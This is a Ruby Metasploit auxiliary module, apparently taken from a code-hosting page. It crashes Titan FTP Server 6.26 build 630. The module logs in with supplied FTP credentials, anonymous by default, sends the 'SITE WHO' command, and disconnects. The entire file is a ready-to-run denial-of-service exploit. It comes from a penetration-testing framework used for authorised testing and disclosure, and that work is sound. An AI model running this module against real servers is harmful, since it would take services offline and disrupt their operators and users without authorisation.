38 lines
1007 B
Ruby
38 lines
1007 B
Ruby
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::Ftp
|
|
include Msf::Auxiliary::Dos
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Titan FTP Server 6.26.630 SITE WHO DoS',
|
|
'Description' => %q{
|
|
The Titan FTP server v6.26 build 630 can be DoS'd by
|
|
issuing "SITE WHO". You need a valid login so you
|
|
can send this command.
|
|
},
|
|
'Author' => 'Kris Katterjohn <katterjohn@gmail.com>',
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '1',
|
|
'References' =>
|
|
[ [ 'URL', 'http://milw0rm.com/exploits/6753'] ],
|
|
'DisclosureDate' => 'Oct 14 2008'))
|
|
|
|
# They're required
|
|
register_options([
|
|
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),
|
|
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ])
|
|
])
|
|
end
|
|
|
|
def run
|
|
return unless connect_login
|
|
print_status("Sending command...")
|
|
raw_send("SITE WHO\r\n")
|
|
sleep 1
|
|
disconnect
|
|
end
|
|
end
|